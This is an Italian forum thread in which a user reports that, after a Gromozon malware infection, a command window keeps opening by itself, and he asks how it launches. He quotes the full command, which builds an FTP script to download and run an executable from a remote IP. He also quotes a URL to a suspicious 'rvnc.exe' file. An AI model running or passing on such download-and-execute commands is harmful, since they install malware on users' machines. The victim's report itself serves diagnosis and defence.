Qualcuno nel mio computer

[maddero]

ciao a tutti.
ho un problema. ho beccato il malware Gromozon, ho usato il programma che consigliate PREVX e pensavo di aver risolto.
invece, se lascio acceso il pc su internet, dopo un pò mi parte una finestra del command con scritte queste cose:

cmd /c echo OPEN 84.222.74.185 28731>x&echo GET 84785_redworld2.exe>>x&echo QUIT>>x&FTP -n -s:x&84785_redworld2.exe&del x&exit

Quando parte questa finestra, Antivir la blocca ed io cancello.
Quello che non riesco a capire è come mai parte. Cioè, il comando viene dato da Start - Esegui. Ma come fa a lanciarlo?

Ho fatto la scansione con antivir, HijackThis e Adware, e non hanno trovato niente di pericoloso.


ho Winx Sp2 aggiornato, antivir aggiornato, uso il firewall di windows.
Penso che dovrò formattare, ma visto che ci sono vorrei capire come caspita fa a funzionare!

[maddero]

se può essere d'aiuto, ogni tanto viene scritto, sempre in Start - Esegui, questo indirizzo:

http://www.anti-security.info/rvnc.exe

io uno realvnc.
che sia un bug?
dovrebbe essere l'ultima versione....